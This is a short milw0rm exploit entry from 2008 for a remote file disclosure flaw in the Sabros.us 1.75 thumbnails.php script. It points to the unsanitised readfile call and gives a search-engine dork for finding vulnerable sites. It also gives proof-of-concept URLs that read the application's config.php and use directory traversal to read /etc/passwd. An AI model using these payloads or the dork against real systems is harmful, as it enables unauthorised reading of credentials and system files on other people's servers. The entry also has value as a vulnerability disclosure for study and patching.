Sabros.us 1.75 - 'thumbnails.php' Remote File Disclosure



EKU-ID: 13303 CVE: OSVDB-44415;CVE-2008-1799 OSVDB-ID:
Author: HaCkeR_EgY Published: 2008-04-04 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


           #######################################################
                   <<<<<< Remote File Disclosure Vulnerability >>>>>>
                               sabrosus 1.75  (thumbnails.php)
           #######################################################

## AUTHOR :  HaCkeR_EgY
## My HoMe :  www.PaL-HaCker.com
## ConTacT :  hacker_egy@hotmail.com

###############################################################################
## Download Script : http://sourceforge.net/project/downloading.php?groupname=sabrosus&filename=sabrosus1-75.zip&use_mirror=garr

## vurn C0de :
     in (thumbnails.php)
        line 82
                       readfile ($img) <===

## Dork : Powered by sabros.us

## PoC:  http://localhost/sabrosus/thumbnails.php?img=include/config.php
             http://localhost/sabrosus/thumbnails.php?img=../../../../../../../../etc/passwd

#################################################################################

## GREETZ TO :   My BrOther and My MasTer   " Abo Mohamed "

##  Thanx     :  FiReSell  , MoHamed EL Arab  ,  Mr.exe  ,  zaradusht  ,  M$s D@nG3rS ,and all " pal-hacker members "

#####################################################################################

# milw0rm.com [2008-04-04]